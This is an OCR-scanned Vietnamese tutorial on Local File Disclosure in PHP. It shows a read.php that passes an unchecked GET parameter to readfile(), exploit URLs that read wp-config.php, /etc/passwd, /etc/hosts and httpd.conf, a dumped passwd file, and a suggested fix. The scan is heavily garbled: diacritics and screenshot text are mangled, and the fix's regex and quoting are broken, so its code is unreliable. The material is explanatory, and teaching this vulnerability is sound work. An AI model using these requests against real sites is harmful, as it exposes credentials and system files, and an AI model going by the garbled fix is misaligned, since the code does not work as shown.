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1.Dinh nghia:

Local File Disclosure ( dich theo nghia den ctia n6 1a “dé 19 file ké bén”) 1a 16i ma hacker str dung
dé doc cac file trong thu muc website, trong d6 c6 file chua thong tin database, va cac thong tin khac,
va doc code dé tim ra 10 hong khéc.

Loi nay giy ra do ham readfile() khong dugc bao mét, boi vay hacker co thé doc cac file ma hin
mudn( Trir mot s6 file hé thong khong co quyén read véi user thuong).

2. Khai thac:
Gia su trén website co file read.php cé ton tai mot doan code 1a:

<?php

$file =$ GET['file'];
$readfile = readfile($file);
7>

Néu ai d timg doc qua ngon ngit php déu hiéu. Con chwa hiéu thi doc tiép.
Hacker tién hanh doc céc file, vi du nhu index.php
http://bug-zone.org/read.php?file=index.php

3|Page Copyright© to Sangteamtham



http://bug-zone.org/read.php?file=index.php

By Sangteamtham

File Edit Miew Higtory Bookmarks Tools Help

|- C 0 & (L hitp/rbug-zonc.org/read.phpifile=index php 77 -] [#B- Cross site scripting

__| Blink! _| post bookmark |_| post publication El Exploits Database by O... . myBibSonomy ==~ Metasploit . Proxy List - Best worki...

9 PageRank
©) Valuate 2> Backlinks 2 Whois &) Availability % Dig PRJ
Live HTTP headers
4oy @ -
r
1@ Source of: http//bug-zone.org/read.php?file=index.php - Mozilla Firefox ==
File Edit View Help
By bug-zone.org
4 n L3
n#FTOQ

-V6i ma ngudn WordPress, file chtra thong tin database nam ¢ file wp-config.php

-Vay, Hacker s& tién hanh doc file wp-config.php

View source:
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Khong dung lai & d6, Hacker tién hanh doc cac file nhu passwd, hosts, tién hanh local attack cac
website khac trén server.

Vi du:
http://bug-zone.org/read.php?file=/etc/passwd

http://bug-zone.org/read.php?file=/etc/httpd/config/httpd.conf
http://bug-zone.org/read.php?file=/etc/hosts
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daemon:x:1:1:0wner of many system processes:/:/bin/false =

bin:/bin:/bin/false
sys:/dev:/bin/false

00:sync: /bin:/bin/syne
100:games:/usr/games:/bin/false

B

o 100:man: /var/cache/man:/bin/false

1p:*:7:7:1p: /var/spool/lpd: /bin/false

mail: :mail:/var/spool/mail:/bin/false
inews:/var/spool/news:/bin/false

uucp:x:10:10:uucp: /var/spool/uucp: /bin/false
proxy:x:13:13:proxy:/bin:/bin/false

majordom:x:30:31:Majordomo: /usr/lib/majordomo: /bin/false

| postgres:x:32:32:PostgresQL administrator,,,:/var/lib/postgres:/bin/false

news:x:9:

| . a/false
|| paciupixi34:34sbackup: /vaz/baskups: /bin/ false

msgl:x:36:36: ../var/1ib/msql:/bin/false
|

operator:x:37:37:Cperator:/var:/bin/false

list:x:38:38:5marclisc: /home/mailman: /bin/sh

irc:x:39:39:ircd:/var:/bin/false

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats/gnats-db:/bin/false
2lias:x:70:65534:qmail alias:/var/gmail/alias:/bin/false

qmaild:x:71:65534:qmail daemon:/var/qmail:/bin/false
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amaill:x:75:65534:amail log:/var/amail:/bin/false B,
% Find: Next 4 Previous & Highlight all [F] Match case

Line®, Col 42

3. Phong tranh:
-Theo kinh nghiém, coders thuong sir dung cac bd loc cac ki tu nhu //\\/\ ..
-Ta fix doan code trén nhu sau:

<?php

$file = preg_replace(‘/["a-zA-Z0-9\ ]/°,”,addslashes($_GET]['file']));
$readfile = readfile($file);

7>

-Hacker s& khong thé tién hanh doc cac file khéc nira.
4. Két luan:

Thong qua vi du cy thé cho ta cai nhin tong quat vé nguyén nhan gy 16i, khai thac va phong tranh
mot cach hi¢u qua.

7. Tham Khao:
1.http://seclists.org/fulldisclosure/2009/Dec/209
2. http://www.exploit-db.com/download pdf/13678
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